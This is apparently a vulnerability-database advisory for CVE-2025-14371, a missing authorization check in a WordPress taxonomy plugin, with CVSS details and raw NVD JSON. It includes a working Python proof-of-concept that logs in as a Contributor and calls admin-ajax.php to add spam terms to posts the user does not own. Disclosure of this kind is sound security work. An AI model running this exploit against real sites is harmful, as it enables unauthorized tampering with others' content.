Security Vulnerability Report
中文
CVE-2025-14371 CVSS 4.3 MEDIUM

CVE-2025-14371

Published: 2026-01-06 08:15:52
Last Modified: 2026-04-15 00:35:42

Description

The Tag, Category, and Taxonomy Manager – AI Autotagger with OpenAI plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the taxopress_ai_add_post_term function in all versions up to, and including, 3.41.0. This makes it possible for authenticated attackers, with Contributor-level access and above, to add or remove taxonomy terms (tags, categories) on any post, including ones they do not own.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

TaxoPress AI Autotagger (WordPress插件) <= 3.41.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-14371 PoC - WordPress TaxoPress AI Autotagger Unauthorized Term Modification # Target: Tag, Category, and Taxonomy Manager - AI Autotagger with OpenAI plugin <= 3.41.0 target_url = "http://target-wordpress-site.com" # Authentication: Attacker needs Contributor-level account username = "attacker_username" password = "attacker_password" # Target post to modify (any post ID, not owned by attacker) target_post_id = 123 # Create WordPress session session = requests.Session() # Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed") sys.exit(1) print("[+] Login successful") # Exploit: Add unauthorized terms to target post ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'taxopress_ai_add_post_term', 'post_id': target_post_id, 'taxonomy': 'post_tag', # or 'category' 'terms': '["malicious-tag", "spam-keyword"]' } response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print(f"[+] PoC executed - Terms added to post ID {target_post_id}") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed with status code: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14371", "sourceIdentifier": "[email protected]", "published": "2026-01-06T08:15:51.867", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Tag, Category, and Taxonomy Manager – AI Autotagger with OpenAI plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the taxopress_ai_add_post_term function in all versions up to, and including, 3.41.0. This makes it possible for authenticated attackers, with Contributor-level access and above, to add or remove taxonomy terms (tags, categories) on any post, including ones they do not own."}, {"lang": "es", "value": "El gestor de etiquetas, categorías y taxonomías – Autotagging de IA con el plugin de OpenAI para WordPress es vulnerable a la modificación no autorizada de datos debido a una comprobación de capacidad faltante en la función taxopress_ai_add_post_term en todas las versiones hasta, e incluyendo, la 3.41.0. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, añadan o eliminen términos de taxonomía (etiquetas, categorías) en cualquier entrada, incluyendo aquellas que no les pertenecen."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/simple-tags/tags/3.40.1/modules/taxopress-ai/classes/TaxoPressAiAjax.php#L681", "source": "[email protected]"}, {"url": "https://research.cleantalk.org/cve-2025-14371/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1ef51ffb-df1e-442d-abc8-3a0308099a0b?source=cve", "source": "[email protected]"}]}}